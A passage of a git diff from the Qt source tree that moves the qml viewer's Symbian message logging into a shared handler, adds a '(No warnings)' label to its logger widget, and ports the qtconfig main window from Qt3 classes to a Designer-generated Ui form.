+    addAction(clearAction);
+
+    m_plainTextEdit->setReadOnly(true);
+    QAction* backAction = new QAction( tr("Back"), this );
+    backAction->setSoftKeyRole( QAction::NegativeSoftKey );
+    connect(backAction, SIGNAL(triggered()), this, SLOT(hide()));
+    addAction( backAction );
+#endif
+
 #ifdef Q_WS_MAEMO_5
     new TextEditAutoResizer(m_plainTextEdit);
     setAttribute(Qt::WA_Maemo5StackedWindow);
@@ -74,6 +89,15 @@ LoggerWidget::LoggerWidget(QWidget *parent) :
 #else
     setCentralWidget(m_plainTextEdit);
 #endif
+
+    m_noWarningsLabel = new QLabel(m_plainTextEdit);
+    m_noWarningsLabel->setText(tr("(No warnings)"));
+    m_noWarningsLabel->setAlignment(Qt::AlignVCenter | Qt::AlignHCenter);
+    QVBoxLayout *layout = new QVBoxLayout;
+    layout->addWidget(m_noWarningsLabel);
+    m_plainTextEdit->setLayout(layout);
+    connect(m_plainTextEdit, SIGNAL(textChanged()), this, SLOT(updateNoWarningsLabel()));
+
     readSettings();
     setupPreferencesMenu();
 }
@@ -198,4 +222,9 @@ void LoggerWidget::setupPreferencesMenu()
     }
 }
 
+void LoggerWidget::updateNoWarningsLabel()
+{
+    m_noWarningsLabel->setVisible(m_plainTextEdit->toPlainText().length() == 0);
+}
+
 QT_END_NAMESPACE
diff --git a/tools/qml/loggerwidget.h b/tools/qml/loggerwidget.h
index c677d11..a3e8871 100644
--- a/tools/qml/loggerwidget.h
+++ b/tools/qml/loggerwidget.h
@@ -48,6 +48,7 @@
 QT_BEGIN_NAMESPACE
 
 class QPlainTextEdit;
+class QLabel;
 class QMenu;
 class QAction;
 
@@ -66,6 +67,7 @@ public:
 
 public slots:
     void append(const QString &msg);
+    void updateNoWarningsLabel();
 
 private slots:
     void warningsPreferenceChanged(QAction *action);
@@ -86,7 +88,7 @@ private:
     QMenu *m_preferencesMenu;
     QAction *m_showWidgetAction;
     QPlainTextEdit *m_plainTextEdit;
-
+    QLabel *m_noWarningsLabel;
     enum ConfigOrigin { CommandLineOrigin, SettingsOrigin };
     ConfigOrigin m_visibilityOrigin;
     Visibility m_visibility;
diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp
index 5846ff0..6ca6bfb 100644
--- a/tools/qml/main.cpp
+++ b/tools/qml/main.cpp
@@ -72,33 +72,15 @@ void exitApp(int i)
     exit(i);
 }
 
+QWeakPointer<LoggerWidget> logger;
+static QAtomicInt recursiveLock(0);
+
 #if defined (Q_OS_SYMBIAN)
 #include <unistd.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
-
-void myMessageOutput(QtMsgType type, const char *msg)
-{
-    static int fd = -1;
-    if (fd == -1)
-        fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT);
-
-    ::write(fd, msg, strlen(msg));
-    ::write(fd, "\n", 1);
-    ::fsync(fd);
-
-    switch (type) {
-    case QtFatalMsg:
-        abort();
-    }
-}
-
-#else // !defined (Q_OS_SYMBIAN)
-
-QWeakPointer<LoggerWidget> logger;
-
-static QAtomicInt recursiveLock(0);
+#endif
 
 void myMessageOutput(QtMsgType type, const char *msg)
 {
@@ -115,7 +97,21 @@ void myMessageOutput(QtMsgType type, const char *msg)
             warnings += QLatin1Char('\n');
         }
     }
-    if (systemMsgOutput) { // Windows
+#if defined (Q_OS_SYMBIAN)
+    static int fd = -1;
+    if (fd == -1)
+        fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT);
+
+    ::write(fd, msg, strlen(msg));
+    ::write(fd, "\n", 1);
+    ::fsync(fd);
+    switch (type) {
+    case QtFatalMsg:
+        abort();
+    }
+#endif
+
+    if (systemMsgOutput) {
         systemMsgOutput(type, msg);
     } else { // Unix
         fprintf(stderr, "%s\n", msg);
@@ -123,8 +119,6 @@ void myMessageOutput(QtMsgType type, const char *msg)
     }
 }
 
-#endif
-
 static QDeclarativeViewer* globalViewer = 0;
 
 // The qml file that is shown if the user didn't specify a QML file
@@ -469,7 +463,6 @@ static QDeclarativeViewer *createViewer()
         viewer->setScript(opts.script);
     }
 
-#if !defined(Q_OS_SYMBIAN)
     logger = viewer->warningsWidget();
     if (opts.warningsConfig == ShowWarnings) {
         logger.data()->setDefaultVisibility(LoggerWidget::ShowWarnings);
@@ -477,7 +470,6 @@ static QDeclarativeViewer *createViewer()
     } else if (opts.warningsConfig == HideWarnings){
         logger.data()->setDefaultVisibility(LoggerWidget::HideWarnings);
     }
-#endif
 
     if (opts.experimentalGestures)
         viewer->enableExperimentalGestures();
@@ -529,11 +521,7 @@ QDeclarativeViewer *openFile(const QString &fileName)
 
 int main(int argc, char ** argv)
 {
-#if defined (Q_OS_SYMBIAN)
-    qInstallMsgHandler(myMessageOutput);
-#else
     systemMsgOutput = qInstallMsgHandler(myMessageOutput);
-#endif
 
 #if defined (Q_WS_X11) || defined (Q_WS_MAC)
     //### default to using raster graphics backend for now
@@ -562,8 +550,11 @@ int main(int argc, char ** argv)
 
     QTranslator qmlTranslator;
     if (!opts.translationFile.isEmpty()) {
-        qmlTranslator.load(opts.translationFile);
-        app.installTranslator(&qmlTranslator);
+        if (qmlTranslator.load(opts.translationFile)) {
+            app.installTranslator(&qmlTranslator);
+        } else {
+            qWarning() << "Could not load the translation file" << opts.translationFile;
+        }
     }
 
     if (opts.fullScreen && opts.maximized)
diff --git a/tools/qml/qdeclarativetester.cpp b/tools/qml/qdeclarativetester.cpp
index 3f4be57..11f81fc 100644
--- a/tools/qml/qdeclarativetester.cpp
+++ b/tools/qml/qdeclarativetester.cpp
@@ -48,7 +48,10 @@
 #include <QDir>
 #include <QCryptographicHash>
 #include <private/qabstractanimation_p.h>
+#include <QGraphicsObject>
+#ifndef Q_OS_SYMBIAN
 #include <private/qdeclarativeitem_p.h>
+#endif
 
 QT_BEGIN_NAMESPACE
 
@@ -266,7 +269,9 @@ void QDeclarativeTester::save()
 
 void QDeclarativeTester::updateCurrentTime(int msec)
 {
+#ifndef Q_OS_SYMBIAN
     QDeclarativeItemPrivate::setConsistentTime(msec);
+#endif
     if (!testscript && msec > 16 && options & QDeclarativeViewer::Snapshot)
         return;
 
diff --git a/tools/qml/qml.pri b/tools/qml/qml.pri
index 5db7678..2010cc1 100644
--- a/tools/qml/qml.pri
+++ b/tools/qml/qml.pri
@@ -19,10 +19,16 @@ SOURCES += $$PWD/qmlruntime.cpp \
 RESOURCES = $$PWD/browser/browser.qrc \
             $$PWD/startup/startup.qrc
 
-symbian:!contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
-   SOURCES += $$PWD/deviceorientation_symbian.cpp
-   FORMS = $$PWD/recopts.ui \
-           $$PWD/proxysettings.ui
+symbian {
+    contains(QT_CONFIG, s60) {
+        LIBS += -lavkon -lcone
+    }
+    !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
+        LIBS += -lsensrvclient -lsensrvutil
+        SOURCES += $$PWD/deviceorientation_symbian.cpp
+    }
+    FORMS = $$PWD/recopts.ui \
+             $$PWD/proxysettings.ui
 } else:maemo5 {
     QT += dbus
     HEADERS += $$PWD/texteditautoresizer_maemo5.h
@@ -39,3 +45,4 @@ symbian:!contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
     FORMS = $$PWD/recopts.ui \
             $$PWD/proxysettings.ui
 }
+
diff --git a/tools/qml/qml.pro b/tools/qml/qml.pro
index bdac6e3..b1d56ea 100644
--- a/tools/qml/qml.pro
+++ b/tools/qml/qml.pro
@@ -37,12 +37,11 @@ symbian {
     include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
     TARGET.EPOCHEAPSIZE = 0x20000 0x4000000
     TARGET.CAPABILITY = NetworkServices ReadUserData
-    !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) {
-        LIBS += -lsensrvclient -lsensrvutil
-    }
-    contains(QT_CONFIG, s60): {
-        LIBS += -lavkon -lcone
-    }
+
+    # Deploy plugin for remote debugging
+    qmldebuggingplugin.sources = $$QT_BUILD_TREE/plugins/qmltooling/tcpserver$${QT_LIBINFIX}.dll
+    qmldebuggingplugin.path = c:$$QT_PLUGINS_BASE_DIR/qmltooling
+    DEPLOYMENT +=  qmldebuggingplugin
 }
 mac {
     QMAKE_INFO_PLIST=Info_mac.plist
diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp
index 99c5b7a..36915d1 100644
--- a/tools/qml/qmlruntime.cpp
+++ b/tools/qml/qmlruntime.cpp
@@ -586,7 +586,6 @@ QNetworkAccessManager *NetworkAccessManagerFactory::create(QObject *parent)
     }
     connect(manager, SIGNAL(destroyed(QObject*)), this, SLOT(managerDestroyed(QObject*)));
     namList.append(manager);
-    qDebug() << "created new network access manager for" << parent;
     return manager;
 }
 
@@ -742,8 +741,10 @@ void QDeclarativeViewer::createMenu()
     connect(slowAction, SIGNAL(triggered(bool)), this, SLOT(setSlowMode(bool)));
 
     showWarningsWindow = new QAction(tr("Show Warnings"), this);
+#if !defined(Q_OS_SYMBIAN)
     showWarningsWindow->setCheckable((true));
     showWarningsWindow->setChecked(loggerWindow->isVisible());
+#endif
     connect(showWarningsWindow, SIGNAL(triggered(bool)), this, SLOT(showWarnings(bool)));
 
     QAction *proxyAction = new QAction(tr("HTTP &Proxy..."), this);
@@ -780,9 +781,11 @@ void QDeclarativeViewer::createMenu()
     aboutAction->setMenuRole(QAction::AboutQtRole);
     connect(aboutAction, SIGNAL(triggered()), qApp, SLOT(aboutQt()));
 
+#if !defined(Q_OS_SYMBIAN)
     QAction *closeAction = new QAction(tr("&Close"), this);
     closeAction->setShortcuts(QKeySequence::Close);
     connect(closeAction, SIGNAL(triggered()), this, SLOT(close()));
+#endif
 
     QAction *quitAction = new QAction(tr("&Quit"), this);
     quitAction->setMenuRole(QAction::QuitRole);
@@ -818,19 +821,19 @@ void QDeclarativeViewer::createMenu()
     fileMenu->addAction(openAction);
     fileMenu->addAction(openUrlAction);
     fileMenu->addAction(reloadAction);
+#if !defined(Q_OS_SYMBIAN)
     fileMenu->addSeparator();
     fileMenu->addAction(closeAction);
-#if !defined(Q_OS_SYMBIAN)
     fileMenu->addAction(quitAction);
 
     QMenu *recordMenu = menu->addMenu(tr("&Recording"));
     recordMenu->addAction(snapshotAction);
     recordMenu->addAction(recordAction);
+#endif // ! Q_OS_SYMBIAN
 
     QMenu *debugMenu = menu->addMenu(tr("&Debugging"));
     debugMenu->addAction(slowAction);
     debugMenu->addAction(showWarningsWindow);
-#endif // ! Q_OS_SYMBIAN
 
     QMenu *settingsMenu = menu->addMenu(tr("&Settings"));
     settingsMenu->addAction(proxyAction);
@@ -914,7 +917,11 @@ void QDeclarativeViewer::toggleFullScreen()
 
 void QDeclarativeViewer::showWarnings(bool show)
 {
+#if defined(Q_OS_SYMBIAN)
+    loggerWindow->showMaximized();
+#else
     loggerWindow->setVisible(show);
+#endif
 }
 
 void QDeclarativeViewer::warningsWidgetOpened()
diff --git a/tools/qtconfig/colorbutton.cpp b/tools/qtconfig/colorbutton.cpp
index 1a98897..33c1b25 100644
--- a/tools/qtconfig/colorbutton.cpp
+++ b/tools/qtconfig/colorbutton.cpp
@@ -52,19 +52,20 @@
 QT_BEGIN_NAMESPACE
 
 ColorButton::ColorButton(QWidget *parent)
-    : QAbstractButton(parent), mousepressed(false)
+    : QAbstractButton(parent)
+    , col(Qt::black)
+    , mousepressed(false)
 {
     setAcceptDrops(true);
-    col = Qt::black;
     connect(this, SIGNAL(clicked()), SLOT(changeColor()));
 }
 
 
 ColorButton::ColorButton(const QColor &c, QWidget *parent)
     : QAbstractButton(parent)
+    , col(c)
 {
     setAcceptDrops(true);
-    col = c;
     connect(this, SIGNAL(clicked()), SLOT(changeColor()));
 }
 
@@ -182,7 +183,7 @@ void ColorButton::mouseReleaseEvent(QMouseEvent *e)
 
 void ColorButton::mouseMoveEvent(QMouseEvent *e)
 {
-    if (! mousepressed)
+    if (!mousepressed)
         return;
 
     if ((presspos - e->pos()).manhattanLength() > QApplication::startDragDistance()) {
diff --git a/tools/qtconfig/main.cpp b/tools/qtconfig/main.cpp
index 3c17511..38435d9 100644
--- a/tools/qtconfig/main.cpp
+++ b/tools/qtconfig/main.cpp
@@ -39,7 +39,6 @@
 **
 ****************************************************************************/
 
-#include "ui_previewwidgetbase.h"
 #include "mainwindow.h"
 #include <QApplication>
 #include <QLibraryInfo>
diff --git a/tools/qtconfig/mainwindow.cpp b/tools/qtconfig/mainwindow.cpp
index 5dd321e..059adb3 100644
--- a/tools/qtconfig/mainwindow.cpp
+++ b/tools/qtconfig/mainwindow.cpp
@@ -40,6 +40,8 @@
 ****************************************************************************/
 
 #include "mainwindow.h"
+#include "ui_mainwindow.h"
+
 #include "colorbutton.h"
 #include "previewframe.h"
 #include "paletteeditoradvanced.h"
@@ -59,7 +61,6 @@
 #include <QMessageBox>
 #include <QStyle>
 #include <QtEvents>
-#include <Q3ValueList>
 #include <QInputContext>
 #include <QInputContextFactory>
 #include <QtDebug>
@@ -155,36 +156,20 @@ static const char *phonon_text = QT_TRANSLATE_NOOP("MainWindow",
 "<p>It is reccommended to leave all settings on \"Auto\" to let "
 "Phonon determine your settings automatically.");
 
-static QColorGroup::ColorRole centralFromItem( int item )
-{
-    switch( item ) {
-    case 0:  return QColorGroup::Window;
-    case 1:  return QColorGroup::WindowText;
-    case 2:  return QColorGroup::Button;
-    case 3:  return QColorGroup::Base;
-    case 4:  return QColorGroup::Text;
-    case 5:  return QColorGroup::BrightText;
-    case 6:  return QColorGroup::ButtonText;
-    case 7:  return QColorGroup::Highlight;
-    case 8:  return QColorGroup::HighlightedText;
-    default: return QColorGroup::NColorRoles;
-    }
-}
-
 
-static QColorGroup::ColorRole effectFromItem( int item )
+QPalette::ColorGroup MainWindow::groupFromIndex(int item)
 {
-    switch( item ) {
-    case 0:  return QColorGroup::Light;
-    case 1:  return QColorGroup::Midlight;
-    case 2:  return QColorGroup::Mid;
-    case 3:  return QColorGroup::Dark;
-    case 4:  return QColorGroup::Shadow;
-    default: return QColorGroup::NColorRoles;
+    switch (item) {
+    case 0:
+    default:
+        return QPalette::Active;
+    case 1:
+        return QPalette::Inactive;
+    case 2:
+        return QPalette::Disabled;
     }
 }
 
-
 static void setStyleHelper(QWidget *w, QStyle *s)
 {
     const QObjectList children = w->children();
@@ -196,100 +181,141 @@ static void setStyleHelper(QWidget *w, QStyle *s)
     w->setStyle(s);
 }
 
-
 MainWindow::MainWindow()
-    : MainWindowBase(0, "main window"),
-      editPalette(palette()), previewPalette(palette()), previewstyle(0)
-{
+    : ui(new Ui::MainWindow),
+      editPalette(palette()),
+      previewPalette(palette()),
+      previewstyle(0)
+{
+    ui->setupUi(this);
+    statusBar();
+
+    // signals and slots connections
+    connect(ui->fontPathLineEdit, SIGNAL(returnPressed()), SLOT(addFontpath()));
+    connect(ui->addFontPathButton, SIGNAL(clicked()), SLOT(addFontpath()));
+    connect(ui->addSubstitutionButton, SIGNAL(clicked()), SLOT(addSubstitute()));
+    connect(ui->browseFontPathButton, SIGNAL(clicked()), SLOT(browseFontpath()));
+    connect(ui->fontStyleCombo, SIGNAL(activated(int)), SLOT(buildFont()));
+    connect(ui->pointSizeCombo, SIGNAL(activated(int)), SLOT(buildFont()));
+    connect(ui->downFontpathButton, SIGNAL(clicked()), SLOT(downFontpath()));
+    connect(ui->downSubstitutionButton, SIGNAL(clicked()), SLOT(downSubstitute()));
+    connect(ui->fontFamilyCombo, SIGNAL(activated(QString)), SLOT(familySelected(QString)));
+    connect(ui->fileExitAction, SIGNAL(triggered()), SLOT(fileExit()));
+    connect(ui->fileSaveAction, SIGNAL(triggered()), SLOT(fileSave()));
+    connect(ui->helpAboutAction, SIGNAL(triggered()), SLOT(helpAbout()));
+    connect(ui->helpAboutQtAction, SIGNAL(triggered()), SLOT(helpAboutQt()));
+    connect(ui->mainTabWidget, SIGNAL(currentChanged(int)), SLOT(pageChanged(int)));
+    connect(ui->paletteCombo, SIGNAL(activated(int)), SLOT(paletteSelected(int)));
+    connect(ui->removeFontpathButton, SIGNAL(clicked()), SLOT(removeFontpath()));
+    connect(ui->removeSubstitutionButton, SIGNAL(clicked()), SLOT(removeSubstitute()));
+    connect(ui->toolBoxEffectCombo, SIGNAL(activated(int)), SLOT(somethingModified()));
+    connect(ui->doubleClickIntervalSpinBox, SIGNAL(valueChanged(int)), SLOT(somethingModified()));
+    connect(ui->cursorFlashTimeSpinBox, SIGNAL(valueChanged(int)), SLOT(somethingModified()));
+    connect(ui->wheelScrollLinesSpinBox, SIGNAL(valueChanged(int)), SLOT(somethingModified()));
+    connect(ui->menuEffectCombo, SIGNAL(activated(int)), SLOT(somethingModified()));
+    connect(ui->comboEffectCombo, SIGNAL(activated(int)), SLOT(somethingModified()));
+    connect(ui->audiosinkCombo, SIGNAL(activated(int)), SLOT(somethingModified()));
+    connect(ui->videomodeCombo, SIGNAL(activated(int)), SLOT(somethingModified()));
+    connect(ui->toolTipEffectCombo, SIGNAL(activated(int)), SLOT(somethingModified()));
+    connect(ui->strutWidthSpinBox, SIGNAL(valueChanged(int)), SLOT(somethingModified()));
+    connect(ui->strutHeightSpinBox, SIGNAL(valueChanged(int)), SLOT(somethingModified()));
+    connect(ui->effectsCheckBox, SIGNAL(toggled(bool)), SLOT(somethingModified()));
+    connect(ui->resolveLinksCheckBox, SIGNAL(toggled(bool)), SLOT(somethingModified()));
+    connect(ui->fontEmbeddingCheckBox, SIGNAL(clicked()), SLOT(somethingModified()));
+    connect(ui->rtlExtensionsCheckBox, SIGNAL(toggled(bool)), SLOT(somethingModified()));
+    connect(ui->inputStyleCombo, SIGNAL(activated(int)), SLOT(somethingModified()));
+    connect(ui->inputMethodCombo, SIGNAL(activated(int)), SLOT(somethingModified()));
+    connect(ui->guiStyleCombo, SIGNAL(activated(QString)), SLOT(styleSelected(QString)));
+    connect(ui->familySubstitutionCombo, SIGNAL(activated(QString)), SLOT(substituteSelected(QString)));
+    connect(ui->tunePaletteButton, SIGNAL(clicked()), SLOT(tunePalette()));
+    connect(ui->upFontpathButton, SIGNAL(clicked()), SLOT(upFontpath()));
+    connect(ui->upSubstitutionButton, SIGNAL(clicked()), SLOT(upSubstitute()));
+
     modified = true;
     desktopThemeName = tr("Desktop Settings (Default)");
-    setIcon(QPixmap(":/trolltech/qtconfig/images/appicon.png"));
+    setWindowIcon(QPixmap(":/trolltech/qtconfig/images/appicon.png"));
     QStringList gstyles = QStyleFactory::keys();
     gstyles.sort();
-    gstylecombo->addItem(desktopThemeName);
-    gstylecombo->setItemData(gstylecombo->findText(desktopThemeName),
-                                tr("Choose style and palette based on your desktop settings."), Qt::ToolTipRole);
-    gstylecombo->insertStringList(gstyles);
+    ui->guiStyleCombo->addItem(desktopThemeName);
+    ui->guiStyleCombo->setItemData(ui->guiStyleCombo->findText(desktopThemeName),
+                                   tr("Choose style and palette based on your desktop settings."),
+                                   Qt::ToolTipRole);
+    ui->guiStyleCombo->addItems(gstyles);
 
     QSettings settings(QLatin1String("Trolltech"));
     settings.beginGroup(QLatin1String("Qt"));
 
     QString currentstyle = settings.value(QLatin1String("style")).toString();
     if (currentstyle.isEmpty()) {
-        gstylecombo->setCurrentItem(gstylecombo->findText(desktopThemeName));
-        currentstyle = QLatin1String(QApplication::style()->name());
+        ui->guiStyleCombo->setCurrentIndex(ui->guiStyleCombo->findText(desktopThemeName));
+        currentstyle = QApplication::style()->objectName();
     } else {
-        int index = gstylecombo->findText(currentstyle, Qt::MatchFixedString);
+        int index = ui->guiStyleCombo->findText(currentstyle, Qt::MatchFixedString);
         if (index != -1) {
-            gstylecombo->setCurrentItem(index);
+            ui->guiStyleCombo->setCurrentIndex(index);
         } else { // we give up
-            gstylecombo->insertItem(QLatin1String("Unknown"));
-            gstylecombo->setCurrentItem(gstylecombo->count() - 1);
+            ui->guiStyleCombo->addItem(tr("Unknown"));
+            ui->guiStyleCombo->setCurrentIndex(ui->guiStyleCombo->count() - 1);
         }
     }
-    buttonMainColor->setColor(palette().color(QPalette::Active,
-                                              QColorGroup::Button));
-    buttonMainColor2->setColor(palette().color(QPalette::Active,
-                                               QColorGroup::Window));
-    connect(buttonMainColor, SIGNAL(colorChanged(QColor)),
-                this, SLOT(buildPalette()));
-    connect(buttonMainColor2, SIGNAL(colorChanged(QColor)),
-                this, SLOT(buildPalette()));
+    ui->buttonMainColor->setColor(palette().color(QPalette::Active, QPalette::Button));
+    ui->buttonWindowColor->setColor(palette().color(QPalette::Active, QPalette::Window));
+    connect(ui->buttonMainColor, SIGNAL(colorChanged(QColor)), SLOT(buildPalette()));
+    connect(ui->buttonWindowColor, SIGNAL(colorChanged(QColor)), SLOT(buildPalette()));
 
     if (X11->desktopEnvironment == DE_KDE)
-        colorConfig->hide();
+        ui->colorConfig->hide();
     else
-        labelKDENote->hide();
+        ui->kdeNoteLabel->hide();
 
     QFontDatabase db;
     QStringList families = db.families();
-    familycombo->insertStringList(families);
+    ui->fontFamilyCombo->addItems(families);
 
     QStringList fs = families;
     QStringList fs2 = QFont::substitutions();
     QStringList::Iterator fsit = fs2.begin();
     while (fsit != fs2.end()) {
-        if (! fs.contains(*fsit))
+        if (!fs.contains(*fsit))
             fs += *fsit;
         fsit++;
     }
     fs.sort();
-    familysubcombo->insertStringList(fs);
+    ui->familySubstitutionCombo->addItems(fs);
 
-    choosesubcombo->insertStringList(families);
-    Q3ValueList<int> sizes = db.standardSizes();
-    Q3ValueList<int>::Iterator it = sizes.begin();
-    while (it != sizes.end())
-        psizecombo->insertItem(QString::number(*it++));
+    ui->chooseSubstitutionCombo->addItems(families);
+    QList<int> sizes = db.standardSizes();
+    foreach(int i, sizes)
+        ui->pointSizeCombo->addItem(QString::number(i));
 
-    dcispin->setValue(QApplication::doubleClickInterval());
-    cfispin->setValue(QApplication::cursorFlashTime());
-    wslspin->setValue(QApplication::wheelScrollLines());
+    ui->doubleClickIntervalSpinBox->setValue(QApplication::doubleClickInterval());
+    ui->cursorFlashTimeSpinBox->setValue(QApplication::cursorFlashTime());
+    ui->wheelScrollLinesSpinBox->setValue(QApplication::wheelScrollLines());
     // #############
-//    resolvelinks->setChecked(qt_resolve_symlinks);
+    // resolveLinksCheckBox->setChecked(qt_resolve_symlinks);
 
-    effectcheckbox->setChecked(QApplication::isEffectEnabled(Qt::UI_General));
-    effectbase->setEnabled(effectcheckbox->isChecked());
+    ui->effectsCheckBox->setChecked(QApplication::isEffectEnabled(Qt::UI_General));
+    ui->effectsFrame->setEnabled(ui->effectsCheckBox->isChecked());
 
     if (QApplication::isEffectEnabled(Qt::UI_FadeMenu))
-        menueffect->setCurrentItem(2);
+        ui->menuEffectCombo->setCurrentIndex(2);
     else if (QApplication::isEffectEnabled(Qt::UI_AnimateMenu))
-        menueffect->setCurrentItem(1);
+        ui->menuEffectCombo->setCurrentIndex(1);
 
     if (QApplication::isEffectEnabled(Qt::UI_AnimateCombo))
-        comboeffect->setCurrentItem(1);
+        ui->comboEffectCombo->setCurrentIndex(1);
 
     if (QApplication::isEffectEnabled(Qt::UI_FadeTooltip))
-        tooltipeffect->setCurrentItem(2);
+        ui->toolTipEffectCombo->setCurrentIndex(2);
     else if (QApplication::isEffectEnabled(Qt::UI_AnimateTooltip))
-        tooltipeffect->setCurrentItem(1);
+        ui->toolTipEffectCombo->setCurrentIndex(1);
 
-    if ( QApplication::isEffectEnabled( Qt::UI_AnimateToolBox ) )
-        toolboxeffect->setCurrentItem( 1 );
+    if (QApplication::isEffectEnabled(Qt::UI_AnimateToolBox))
+        ui->toolBoxEffectCombo->setCurrentIndex(1);
 
     QSize globalStrut = QApplication::globalStrut();
-    strutwidth->setValue(globalStrut.width());
-    strutheight->setValue(globalStrut.height());
+    ui->strutWidthSpinBox->setValue(globalStrut.width());
+    ui->strutHeightSpinBox->setValue(globalStrut.height());
 
     // find the default family
     QStringList::Iterator sit = families.begin();
@@ -308,10 +334,10 @@ MainWindow::MainWindow()
     if (i == -1) // no clue about the current font
         i = 0;
 
-    familycombo->setCurrentItem(i);
+    ui->fontFamilyCombo->setCurrentIndex(i);
 
-    QStringList styles = db.styles(familycombo->currentText());
-    stylecombo->insertStringList(styles);
+    QStringList styles = db.styles(ui->fontFamilyCombo->currentText());
+    ui->fontStyleCombo->addItems(styles);
 
     QString stylestring = db.styleString(QApplication::font());
     sit = styles.begin();
@@ -330,91 +356,98 @@ MainWindow::MainWindow()
         i = possible;
     if (i == -1) // no clue about the current font
         i = 0;
-    stylecombo->setCurrentItem(i);
+    ui->fontStyleCombo->setCurrentIndex(i);
 
     i = 0;
-    for (int psize = QApplication::font().pointSize(); i < psizecombo->count(); ++i) {
-        const int sz = psizecombo->text(i).toInt();
+    for (int psize = QApplication::font().pointSize(); i < ui->pointSizeCombo->count(); ++i) {
+        const int sz = ui->pointSizeCombo->itemText(i).toInt();
         if (sz == psize) {
-            psizecombo->setCurrentItem(i);
+            ui->pointSizeCombo->setCurrentIndex(i);
             break;
         } else if(sz > psize) {
-            psizecombo->insertItem(i, QString::number(psize));
-            psizecombo->setCurrentItem(i);
+            ui->pointSizeCombo->insertItem(i, QString::number(psize));
+            ui->pointSizeCombo->setCurrentIndex(i);
             break;
         }
     }
 
-    QStringList subs = QFont::substitutes(familysubcombo->currentText());
-    sublistbox->clear();
-    sublistbox->insertStringList(subs);
+    QStringList subs = QFont::substitutes(ui->familySubstitutionCombo->currentText());
+    ui->substitutionsListBox->clear();
+    ui->substitutionsListBox->insertItems(0, subs);
 
-    rtlExtensions->setChecked(settings.value(QLatin1String("useRtlExtensions"), false).toBool());
+    ui->rtlExtensionsCheckBox->setChecked(settings.value(QLatin1String("useRtlExtensions"), false)
+                                          .toBool());
 
 #ifdef Q_WS_X11
-    inputStyle->setCurrentText(settings.value(QLatin1String("XIMInputStyle"), trUtf8("On The Spot")).toString());
+    QString settingsInputStyle = settings.value(QLatin1String("XIMInputStyle")).toString();
+    if (!settingsInputStyle.isEmpty())
+      ui->inputStyleCombo->setCurrentIndex(ui->inputStyleCombo->findText(settingsInputStyle));
 #else
-    inputStyle->hide();
-    inputStyleLabel->hide();
+    ui->inputStyleCombo->hide();
+    ui->inputStyleComboLabel->hide();
 #endif
 
 #if defined(Q_WS_X11) && !defined(QT_NO_XIM)
-    QStringList inputMethods = QInputContextFactory::keys();
-    int inputMethodIndex = -1;
+    QStringList inputMethodCombo = QInputContextFactory::keys();
+    int inputMethodComboIndex = -1;
     QString defaultInputMethod = settings.value(QLatin1String("DefaultInputMethod"), QLatin1String("xim")).toString();
-    for (int i = inputMethods.size()-1; i >= 0; --i) {
-        const QString &im = inputMethods.at(i);
+    for (int i = inputMethodCombo.size()-1; i >= 0; --i) {
+        const QString &im = inputMethodCombo.at(i);
         if (im.contains(QLatin1String("imsw"))) {
-            inputMethods.removeAt(i);
-            if (inputMethodIndex > i)
-                --inputMethodIndex;
+            inputMethodCombo.removeAt(i);
+            if (inputMethodComboIndex > i)
+                --inputMethodComboIndex;
         } else if (im == defaultInputMethod) {
-            inputMethodIndex = i;
+            inputMethodComboIndex = i;
         }
     }
-    if (inputMethodIndex == -1 && !inputMethods.isEmpty())
-        inputMethodIndex = 0;
-    inputMethod->addItems(inputMethods);
-    inputMethod->setCurrentIndex(inputMethodIndex);
+    if (inputMethodComboIndex == -1 && !inputMethodCombo.isEmpty())
+        inputMethodComboIndex = 0;
+    ui->inputMethodCombo->addItems(inputMethodCombo);
+    ui->inputMethodCombo->setCurrentIndex(inputMethodComboIndex);
 #else
-    inputMethod->hide();
-    inputMethodLabel->hide();
+    ui->inputMethodCombo->hide();
+    ui->inputMethodComboLabel->hide();
 #endif
 
-    fontembeddingcheckbox->setChecked(settings.value(QLatin1String("embedFonts"), true).toBool());
+    ui->fontEmbeddingCheckBox->setChecked(settings.value(QLatin1String("embedFonts"), true)
+                                          .toBool());
     fontpaths = settings.value(QLatin1String("fontPath")).toStringList();
-    fontpathlistbox->insertStringList(fontpaths);
-
-    audiosinkCombo->addItem(tr("Auto (default)"), QLatin1String("Auto"));
-    audiosinkCombo->setItemData(audiosinkCombo->findText(tr("Auto (default)")),
-                                tr("Choose audio output automatically."), Qt::ToolTipRole);
-    audiosinkCombo->addItem(tr("aRts"), QLatin1String("artssink"));
-    audiosinkCombo->setItemData(audiosinkCombo->findText(tr("aRts")),
-                                tr("Experimental aRts support for GStreamer."), Qt::ToolTipRole);
+    ui->fontpathListBox->insertItems(0, fontpaths);
+
+    ui->audiosinkCombo->addItem(tr("Auto (default)"), QLatin1String("Auto"));
+    ui->audiosinkCombo->setItemData(ui->audiosinkCombo->findText(tr("Auto (default)")),
+                                    tr("Choose audio output automatically."), Qt::ToolTipRole);
+    ui->audiosinkCombo->addItem(tr("aRts"), QLatin1String("artssink"));
+    ui->audiosinkCombo->setItemData(ui->audiosinkCombo->findText(tr("aRts")),
+                                    tr("Experimental aRts support for GStreamer."),
+                                    Qt::ToolTipRole);
 #ifdef HAVE_PHONON
-    phononVersionLabel->setText(QLatin1String(Phonon::phononVersion()));
+    ui->phononVersionLabel->setText(QLatin1String(Phonon::phononVersion()));
 #endif
 #ifndef QT_NO_GSTREAMER
     if (gst_init_check(0, 0, 0)) {
         gchar *versionString = gst_version_string();
-        gstversionLabel->setText(QLatin1String(versionString));
+        ui->gstVersionLabel->setText(QLatin1String(versionString));
         g_free(versionString);
-        GList* factoryList = gst_registry_get_feature_list(gst_registry_get_default (), GST_TYPE_ELEMENT_FACTORY);
+        GList *factoryList = gst_registry_get_feature_list(gst_registry_get_default(),
+                                                           GST_TYPE_ELEMENT_FACTORY);
         QString name, klass, description;
-        for (GList* iter = g_list_first(factoryList) ; iter != NULL ; iter = g_list_next(iter)) {
